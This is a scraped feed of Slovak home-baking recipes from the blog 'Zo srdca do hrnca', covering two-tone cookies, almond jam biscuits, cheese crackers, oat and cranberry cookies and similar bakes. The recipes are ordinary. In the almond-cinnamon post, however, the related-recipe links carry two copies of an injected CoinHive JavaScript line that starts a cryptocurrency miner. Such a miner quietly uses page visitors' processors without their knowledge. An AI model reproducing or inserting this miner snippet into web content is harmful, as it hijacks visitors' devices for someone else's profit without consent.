Inak cesto je dosť univerzálne. Je to niečo podobné ako môj starší recept na domáce keksíky. Takže pokojne si z neho urobte aj sušienky iných tvarov, bude tu fungovať aj pečiatkovanie. Ja som z tejto dávky piekla keksy na 1,5 plechu a deti ich hneď rozchytali. Tuším som mala robiť dvojitú dávku :)

Dvojfarebné keksy

• 250 g hladkej múky
• 100 g práškového cukru (alebo 75 g pre menej sladkú verziu)
• 1 ČL prášku do pečiva
• 1 vanilkový cukor alebo trochu bourbonskej vanilky
• 1 vajce
• 100 g masla
• 2 ČL kakaa

Zo surovín okrem kakaa zamiesime cesto. Rozdelíme na 2 polovice, do jednej vmiešame ešte kakao. Každé cesto rozvaľkáme na 2-3 mm. Svetlé cesto uložíme na tmavé a zrolujeme po dlhšej časti do rolády. Odložíme stuhnúť do chladničky aspoň na hodinu. Potom roládu nakrájame na kolieska hrubé asi 6-7 mm. Ukladáme na plech vystlaný papierom na pečenie (nechať miesto, trochu sa roztiahnu). Pečieme vo vopred vyhriatej rúre na 175 st. C 14-17 minút. Vyšlo mi na 1,5 plechu. Necháme vychladnúť a skladujeme v uzatvárateľnej nádobe.

Ak vyskúšate dvojfarebné keksy podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Dvojfarebné keksy zobrazený najskôr Zo srdca do hrnca.

Ak si píšete zoznam vianočných koláčikov, šup tam aj tieto mandľové. Hneď po upečení sú orieškové a jemne chrumkavé, no už na druhý deň zmäknú. Takže si ich pokojne môžete upiecť aj deň pred Vianocami, lebo nemusia odstáť. Ak pečiete v predstihu, myslím, že 1-2 týždne vydržia v uzatvorenej nádobe.

Vykrajovať môžete krúžky aj srdcia, alebo čokoľvek sa vám dobre natiera džemom. Odporúčam vybrať menšie formičky (tak do 4 cm priemer), lebo potom budete mať viac koláčikov. Ja som použila kruh s priemerom 5,5 cm a zdali sa mi už trochu veľké.

Mandľové koláčiky

• 200 g hladkej múky
• 1/2 ČL prášku do pečiva
• 100 g práškového cukru
• 100 g mletých mandlí
• 170 g zmäknutého masla
• trochu pravej vanilky
• na dokončenie – džem, čokoláda, sušené ovocie

Múku zmiešame s práškom do pečiva, práškovým cukom, vanilkou a mletými mandľami. Premiešame a pridáme zmäknuté maslo.
Rukou vypracujeme cesto, ktoré necháme 1/2 hodiny odležať v chladničke (môže postáť aj do druhého dňa). Vyberieme z chladničky, ak treba, necháme chvíľu povoliť.
Na pomúčenej doske rozvaľkáme na hrúbku cca 4 mm a formičkami vykrajujeme koláčiky. V rúre sa trochu roztiahnu, tak odporúčam menšie tvary (napr. kruh s priemerom 4 cm)
Pečieme vo vopred vyhriatej rúre pri 175 st. C 12-14 minút dozlata. Vyšli mi na 2 plechy. Pečiem ich vždy po jednom.
Vychladené koláčiky natrieme džemom a spojíme.
Na čokoládu roztopíme nad parou 30 g horkej čokolády + pridať 1/2 čajovej lyžičky oleja. Pofŕkame spojené koláčiky a môžeme dozdobiť sušeným ovocím.

Ak vyskúšate mandľové koláčiky podľa môjho receptu, podeľte sa o to v komentároch!

Ela

Príspevok Mandľové koláčiky zobrazený najskôr Zo srdca do hrnca.

Ako upiecť chutné krekry:

1. zvoľte si chutný a kvalitný syr, hodí sa napr. eidam, cheddar, parmezán, či gouda…
2. dochuťte si krekry podľa seba (cesnak, paprika, sušené bylinky…)
3. pečte ich dozlata, pozor nie veľmi dohneda!
4. skladujte vo vzduchotesnej nádobe, ostanú chrumkavé

Vyskúšajte aj tieto netradičné cícerové krekry!

Syrové krekry

• 250 g hladkej múky
• 200 g tvrdého syra (eidam, gouda, cheddar, parmezán…)
• 150 g zmäknutého masla
• 2 KL soli
• 1 KL červenej papriky alebo sušeného tymiánu alebo rasce, či cesnaku,… -podľa chuti

Maslo vyberieme v predstihu, aby stihlo zmäknúť. (Ak sme zabudli, stačí ho nastrúhať na hrubom strúhadle, rýchlejšie povolí.)
Tvrdý syr nastrúhame najemno. Všetky suroviny zmiešame a uhnetieme mäkké poddajné cesto.
Odložíme na 1/2 hodiny do chladničky.
Vyberieme cesto a na pomúčenej doske rozvaľkáme na 3-5 mm.
Vykrajujeme ľubovoľné tvary a rozložíme na plech.
Pečieme dozlata vo vopred vyhriatej rúre na 180 st. C 15-20 minút.
Necháme celkom vychladnúť. Skladujeme vo vzduchotesnej nádobe.

Ak vyskúšate syrové krekry podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Syrové krekry zobrazený najskôr Zo srdca do hrnca.

Áno, naše milované deti, vďaka ktorým som začala keksíky kupovať. Nie im, sebe! Ale len dočasu, lebo potom prišiel čas, že aj deti si chceli pochrumkať. A tak sme zase začali piecť domáce keksíky. Lebo dobre, domáce je domáce, vieš čo ješ, toto všetko poznáme, ale napadlo vám, koľko času viete stráviť s deťmi takým pečením keksíkov? Pokojne aj celé popoludnie, milé mamy! A otcovia, samozrejme, dúfam, že toto čítaju aj otcovia pečúci doma s deťmi sušienky.

Takže podľa veku dieťaťa si len pekne rozložte medzi sebou sily a pusťte sa do toho. Ročné deti nechajte ochutnávať maslo, dvojročné už môžu vykrajovať a trojročné vymiesiť cesto. Štvorročným dajte do ruky valček, nech ho aj vyvaľkajú a správne hadáte, od päť vyššie to už deti pečú samé. Vy si zalejte kávu, vyložte nohy a počkajte, kým vám malý cukrár donesie koštovku. Ak sa vo vašej domácnosti žiadne deti nevyskytujú, ubezpečujem vás, že recept je tak jednoduchý, že to zvládnete aj sami popri sŕkaní kávy. Len nohy si prosím nevykladajte, kto to kedy videl, vykladať si nohy pri vaľkaní cesta!

Domáce keksíky

• 300 g hladkej múky
• 1 vajce
• 120 g práškového cukru
• 1 vanilkový cukor (môžeme nahradiť škoricovým, citrónovým alebo lyžicou kakaa)
• 120 g masla
• 1 lyžička prášku do pečiva

Tip: Cesto drží vzor aj po upečení. Môžete ho rozvaľkať gravírovaným valčekom alebo použiť pečiatky.

Všetky suroviny na cesto spolu zmiešame a uhnetieme cesto. Odložíme odpočívať do chladničky aspoň na 1 hodinu. Dosku vysypeme múkou a cesto rozvaľkáme na hrúbku asi 3 mm. Formičkami vykrajujeme tvary a uložíme na plech. Pečieme pri 170 st.C 12-15 min. dozlata. Necháme vychladnúť. Môžeme pofŕkať čokoládou.

P.S.: Stačí vytiahnuť vianočné vykrajovačky či pečiatky a máte easy peasy vianočný recept!

Ak vyskúšate domáce keksíky podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Domáce keksíky zobrazený najskôr Zo srdca do hrnca.

Príprava je rýchla, maslo a vajíčko vyberte z chladničky skôr, nech sú izbovej teploty. Nepotrebujete ani valček či formičky na vykrajovanie, všetko zvládnete ručne-stručne :)

Na mandľovo-škoricové pečivo potrebujeme:

• 100 g mandľovej múky
• 30 g gaštanovej múky
• 50 g trstinového cukru
• 1/2 ČL vínneho kameňa
• 1 vajce
• 70 g masla
• štipka soli
• štipka pravej vanilky
• 1/2 ČL škorice

Všetky suroviny zmiešame a rukami spracujeme na cesto. Z cesta tvarujeme guľky, ktoré v dlaniach zľahka sploštíme a pečieme 18-20 minút pri 180 st. C. Z uvedeného množstva získame 15 ks keksov.

Ak by sa vám cesto pri formovaní keksíkov drobilo, pridajte ešte trochu masla. Konzistencia záleží aj od veľkosti vajíčka.

Pre viac inšpirácie pozrite aj ďalšie vianočné recepty:

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Špaldové hviezdičky

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Oriešky

Príspevok Mandľovo-škoricové pečivo zobrazený najskôr Zo srdca do hrnca.

Vychádzala som z tohto receptu a nezľaknite sa, že som trochu experimentovala z múkami. Objavila som totiž čaro šachorovej múky, ktorá chutí ako oriešky a výborne ich aj nahradí. To mi pri pečení padlo vhod, lebo som práve nemala dosť orechov.

Kombinovala som celozrnnú špaldovú múku s bezlepkovými múkami a časť orechov som nahradila práve šachorovou múkou. Jasné, že nie každý má doma paletu bezlepkových a celozrnných múk, ale nemusíte sa presne pridŕžať receptu. Základom je použiť približne 150 g múky a 150 g orechov a je len fajn, ak časť múky použijete celozrnnej alebo aj bezlepkovej pre vyššiu výživnú hodnotu. Kokosový cukor sa svojou karamelovou chuťou hodil úžasne, ale môže byť aj trstinový…

Ingrediencie

• 100 g hladkej špaldovej múky (celozrnnej)
• 25 g ľanovej múky
• 25 g pohánkovej múky
• 50 g šachorovej múky
• 100 g mletých orechov (vlašské, mandle,…)
• 50 g ovsených vločiek
• 1 vajce
• 50 g cukru z kokosových kvetov
• 125 g masla
• 1/2 ČL škorice
• 1/2 ČL vanilky
• 1/2 ČL prášku do pečiva
• štipka soli
• hrť posekaných kokosvých čipsov
• hrsť kandizovaného zázvoru

Postup

Zmäknuté maslo zmiešame s cukrom a vajíčkom. Pridáme všetky ostatné ingrediencie okrem kokosu a zázvoru a rukami vymiešame hutné cesto. Nakoniec pridáme posekané kokosové čipsy a kandizovaný zázvor. Z cesta formujeme rukami guličky, ktoré zľahka sploštíme a ukladáme na plech vystlaný papierom na pečenie. Pečieme pri 180°C 15-17 minút.

Ak vyskúšate tieto cookies podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Kokosovo-zázvorové cookies zobrazený najskôr Zo srdca do hrnca.

• 125 g masla izbovej teploty
• 80 g trstinového cukru
• 240 g ovsených vločiek
• 1 vajce
• 50 g mletých orechov
• 1 ČL bezfosfátového prášku do pečiva (vínny kameň)
• citrónová kôra

Všetky suroviny spolu zmiešame, cesto je lepivé. Rukami alebo pomocou lyžičiek formujeme kôpky/placky, ktoré uložíme na plech s papierom na pečenie. Pečieme v rúre na 180 st. C 15 minút.

• Ovsené vločky môžete použiť klasické, alebo aj jemné.
• Citrónovú kôru môžete nahradiť pomarančovou.
• A pre extra chrumkavú verziu vymeňte časť ovsených vločiek za pohánkové (40 gramov stačí).

Ak vyskúšate cookies z ovsených vločiek podľa môjho receptu, napíšte mi do komentárov, ako vám chutili.

Ela

Príspevok Cookies z ovsených vločiek zobrazený najskôr Zo srdca do hrnca.

Cookies s čokoládou a brusnicami:

• 150 g (špaldovej) hladkej múky*
• 150 g mletých vlašských orechov
• 50 g ovsených vločiek
• 125 g masla
• 1 vajce
• 70 g trstinového cukru
• 1/2 ČL škorice
• 1/2 ČL prášku do pečiva
• štipka vanilky
• štipka soli
• hrsť sušených brusníc
• hrsť posekanej horkej čokolády

*alebo kombinujte s bezlepkovými múkami, napr. 100 g špaldovej + 25 g ľanovej + 25 g pohánkovej

Postup

1. Rúru vyhrejeme na 200°C.
2. Maslo vyšľaháme s cukrom, pridáme jedno vajíčko.
3. Postupne vsypeme múku zmiešanú s práškom do pečiva, mleté orechy, ovsené vločky, škoricu, vanilku a štipku soli.
4. Cesto dobre premiešame a nakoniec pridáme posekané sušené brusnice a horkú čokoládu, premiešame.
5. Z cesta formujeme guličky, sploštíme ich v dlani na placky a ukladáme na plech vystlaný papierom na pečenie.
6. Teplotu v rúre znížime na 180°C a pečieme dozlatista 15-17 minút.
7. Z uvedeného množstva mi vyšlo 40 kusov.

Ak vyskúšate cookies s čokoládou a brusnicami podľa môjho receptu, podeľte sa o to na FB Zo srdca do hrnca alebo na Instagrame s hashtagom #zosrdcadohrnca Alebo mi napíšte komentár tu dole :)

Ela

Príspevok Cookies s čokoládou a brusnicami zobrazený najskôr Zo srdca do hrnca.